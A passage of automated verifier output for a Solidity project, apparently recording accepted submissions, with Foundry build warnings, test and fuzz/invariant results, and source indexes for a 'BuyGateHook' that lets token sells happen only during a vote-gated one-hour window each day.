59234)\n[PASS] test_afterSwapAsManagerStillRefusesAClosedSell() (gas: 46263)\n[PASS] test_allowanceOverflowsForVolumesAboveTheSupplyScale() (gas: 296934)\n[PASS] test_beforeAddLiquidityOnAnUnboundHookRevertsNotBound() (gas: 15271620)\n[PASS] test_buyTakenAsClaimsIsStillRecordedAndKeepsTokensInsideTheManager() (gas: 263708)\n[PASS] test_buysDuringTheWindowHourCountForTheNextDay() (gas: 1083580)\n[PASS] test_buysFarInTheFutureAreStillRecorded() (gas: 219887)\n[PASS] test_depositAfterVotingIsLockedTooAndAddsNoWeight() (gas: 628362)\n[PASS] test_depositAndWithdrawInsideAnUnlockAreAllowedAndChangeNoTally() (gas: 874040)\n[PASS] test_depositMoreThanBalanceReverts() (gas: 176494)\n[PASS] test_depositWithoutApprovalReverts() (gas: 126383)\n[PASS] test_depositsAndWithdrawalsAreNotBuysOrSells() (gas: 292020)\n[PASS] test_exactOutputSellOverTheAllowanceFailsInAfterSwapWithTheRealAmounts() (gas: 833594)\n[PASS] test_exactOutputSellsAccumulateAgainstTheAllowance() (gas: 957768)\n[PASS] test_hasVotedIsFalseForDaysWithoutAVoteAndForTheFuture() (gas: 405591)\n[PASS] test_hookDataCannotImpersonateTheLaunch() (gas: 343612)\n[PASS] test_hookNeverHoldsEthOrTokensBeyondStake() (gas: 938804)\n[PASS] test_hugeTurnoutWithoutMajorityFails() (gas: 829189)\n[PASS] test_launchPositionCannotBeToppedUpThroughTheRouterThatInitializedThePool() (gas: 28588789)\n[PASS] test_liquidityCallbacksRevertForEveryone() (gas: 74609)\n[PASS] test_noVotesCannotPassEvenWithStake() (gas: 673302)\n[PASS] test_oneWeiMajorityWithQuorumPasses() (gas: 831498)\n[PASS] test_oneWeiSellIsAcceptedAndCounted() (gas: 818756)\n[PASS] test_partialFillChargesOnlyTheTokensActuallySold() (gas: 1017280)\n[PASS] test_partialWithdrawThenVoteWeighsTheRemainder() (gas: 430186)\n[PASS] test_requestedAmountIsCheckedUpFrontEvenIfTheFillWouldBeSmaller() (gas: 683802)\n[PASS] test_sameVoterVotesOnConsecutiveDays() (gas: 589438)\n[PASS] test_seededStaysTrueAfterTheLaunchRemovesEverything() (gas: 399961)\n[PASS] test_sellSettledByBurningClaimsIsGatedLikeAnyOther() (gas: 1018973)\n[PASS] test_strangerCannotSeedBeforeTheLaunchByFrontRunningTheInitializedPool() (gas: 28290323)\n[PASS] test_swapCallbacksOnAnUnboundHookRevertNotBound() (gas: 15311763)\n[PASS] test_turnoutExactlyAtQuorumPasses() (gas: 583408)\n[PASS] test_turnoutOneWeiBelowQuorumFails() (gas: 611330)\n[PASS] test_twoVotersTheSameDayAddUpAndAreBothLocked() (gas: 707238)\n[PASS] test_unspentAllowanceDoesNotRollOver() (gas: 865596)\n[PASS] test_voteAfterWithdrawingEverythingReverts() (gas: 277385)\n[PASS] test_voteAtExactlyTheDayBoundaryBelongsToTheNewDay() (gas: 395153)\n[PASS] test_voteCastDuringTheWindowCounts() (gas: 747337)\n[PASS] test_voteInTheLastSecondOfTheDayCountsForThatDayAndUnlocksNextSecond() (gas: 541941)\n[PASS] test_voteInsideAnUnlockIsRefusedEvenWithoutAFlashTake() (gas: 634754)\n[PASS] test_votePassedIsFalseForEmptyAndFutureDays() (gas: 31227)\n[PASS] test_windowsFollowEachDaysVoteIndependently() (gas: 1907669)\n[PASS] test_withdrawCannotTakeAnotherVotersStake() (gas: 235557)\n[PASS] test_withdrawWithNoStakeReverts() (gas: 36912)\n[PASS] test_zeroLiquidityAddFromAStrangerIsRefusedToo() (gas: 77126)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 83.08ms (336.59ms CPU time)\n\nRan 48 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227747, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 369095, ~: 446719)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876667, ~: 877937)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 719110, ~: 773581)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648121, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 193977, ~: 193942)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17035015)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818481)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909533)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15512502)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396644)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 15911278)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237632)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18050700)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3691352)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410007)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335168)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 15290901)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_usersOfTheRouterThatInitializedThePoolAreRefusedAfterTheSeed() (gas: 17335606)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651986)\nSuite result: ok. 48 passed; 0 failed; 0 skipped; finished in 83.19ms (519.51ms CPU time)\n\nRan 2 tests for test/BuyGateHookInvariant.t.sol:BuyGateHookInvariantTest\n[PASS]\nBuyGateHookInvariantTest invariants:\n[PASS] invariant_eachStakeIsDepositsMinusWithdrawals\n[PASS] invariant_flashVotesLeaveNoTrace\n[PASS] invariant_hookHoldsExactlyTheStakes\n[PASS] invariant_hookTakesNothing\n[PASS] invariant_managerBalancesFollowTheSwaps\n[PASS] invariant_nothingSoldOnADayWhoseVoteDidNotPass\n[PASS] invariant_poolLiquidityIsOnlyTheLaunchSeed\n[PASS] invariant_recordsMatchTheGhostBooks\n[PASS] invariant_soldNeverExceedsHalfOfThePreviousDaysBuys\n[PASS] invariant_supplyIsConserved\n[PASS] invariant_windowAndRemainingAgreeWithTheTallies\n BuyGateHookInvariantTest invariants (runs: 128, calls: 7680, reverts: 0)\n\n╭----------------+------------------------------------+-------+---------+----------╮\n| Contract       | Selector                           | Calls | Reverts | Discards |\n+==================================================================================+\n| BuyGateHandler | addLiquidityAsStranger             | 480   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | addLiquidityThroughTheLaunchRouter | 502   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | buy                                | 521   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | deposit                            | 541   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | flashVote                          | 485   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | park                               | 440   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | prepareWindow                      | 496   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | sellExactIn                        | 510   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | sellExactOut                       | 502   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | unpark                             | 528   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | vote                               | 556   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | voteBig                            | 479   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | warp                               | 545   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | warpToNextWindow                   | 555   | 0       | 0        |\n|----------------+------------------------------------+-------+---------+----------|\n| BuyGateHandler | withdraw                           | 540   | 0       | 0        |\n╰----------------+------------------------------------+-------+---------+----------╯\n\n[PASS] test_handlerReachesEveryPath() (gas: 4323257)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.15s (4.14s CPU time)\n\nRan 5 test suites in 4.16s (4.40s CPU time): 108 tests passed, 0 failed, 0 skipped (108 total tests)\n","passed":true},{"durationMs":47,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":348,\"REVIEW.md\":182,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":501,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1195,\"test/BuyGateHookEdge.t.sol\":1046,\"test/BuyGateHookInvariant.t.sol\":861,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9d85850c02633cbe09808dd776c2f7396107e40b614083e1df2b75f7d4a7a223","verifiedTreeHash":"08b8c8c3f3ae669bd06842a5be770a5c6fb10470","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":2489,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.36s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:259:5:\n    |\n259 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:215:31\n    │\n215 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:229:9\n    │\n229 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:250:13\n    │\n250 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:330:13\n    │\n330 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:415:13\n    │\n415 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":154,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85462, ~: 85648)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.83ms (3.22ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 8053367)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 27986877)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 11987525)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 57.05ms (66.44ms CPU time)\n\nRan 48 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227349, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 358847, ~: 273742)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876397, ~: 876498)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 720048, ~: 773685)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648145, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 193919, ~: 193901)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17035015)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818481)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909533)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15512502)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396644)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 15911278)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237632)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18050700)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3691352)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410007)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335168)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 15290901)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_usersOfTheRouterThatInitializedThePoolAreRefusedAfterTheSeed() (gas: 17335606)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651986)\nSuite result: ok. 48 passed; 0 failed; 0 skipped; finished in 65.68ms (364.97ms CPU time)\n\nRan 3 test suites in 66.45ms (125.56ms CPU time): 57 tests passed, 0 failed, 0 skipped (57 total tests)\n","passed":true},{"durationMs":44,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":348,\"REVIEW.md\":182,\"foundry.toml\":22,\"launch.json\":21,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":501,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1195,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a3564cda6635ff6481db885fc04428dbc41ee2aff4babd617737388272cb5ade","verifiedTreeHash":"09dae2922fca0a9a666a1be0ad6c6e105e14740d","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":9225,"exitCode":0,"name":"build","output":"Compiling 88 files with Solc 0.8.26\nSolc 0.8.26 finished in 8.93s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:254:5:\n    |\n254 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/BuyGateHookEdge.t.sol:386:5:\n    |\n386 |     function test_votePassedIsFalseForEmptyAndFutureDays() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:211:31\n    │\n211 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:225:9\n    │\n225 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:245:13\n    │\n245 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:325:13\n    │\n325 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:410:13\n    │\n410 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":8692,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85579, ~: 86228)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 5.23ms (10.12ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 2624479)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 17104895)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 1174479)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 69.38ms (45.58ms CPU time)\n\nRan 47 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227006, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 361588, ~: 446671)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876185, ~: 875095)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 711128, ~: 654602)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648089, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 194237, ~: 194275)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17259150)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818459)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909511)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15736798)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396805)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 4698925)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237793)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18352639)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3710658)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410168)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335651)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 4078548)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651964)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 123.40ms (512.19ms CPU time)\n\nRan 48 tests for test/BuyGateHookEdge.t.sol:BuyGateHookEdgeTest\n[PASS] testFuzz_allowanceIsHalfRoundedDownForAnyVolume(uint256,uint256) (runs: 512, μ: 328055, ~: 328173)\n[PASS] testFuzz_dayIndexAndDayStartAreConsistent(uint256) (runs: 512, μ: 42829, ~: 43104)\n[PASS] testFuzz_quorumIsFivePercentOfSupplyOutsideTheManager(uint256,uint256) (runs: 512, μ: 484768, ~: 486498)\n[PASS] testFuzz_voteWeightAndLockFollowTheDeposit(uint256,uint256) (runs: 512, μ: 475709, ~: 475647)\n[PASS] test_afterSwapAsManagerIgnoresABuyWithNoTokenOutput() (gas: 59234)\n[PASS] test_afterSwapAsManagerStillRefusesAClosedSell() (gas: 46263)\n[PASS] test_allowanceOverflowsForVolumesAboveTheSupplyScale() (gas: 296924)\n[PASS] test_beforeAddLiquidityOnAnUnboundHookRevertsNotBound() (gas: 4059339)\n[PASS] test_buyTakenAsClaimsIsStillRecordedAndKeepsTokensInsideTheManager() (gas: 263708)\n[PASS] 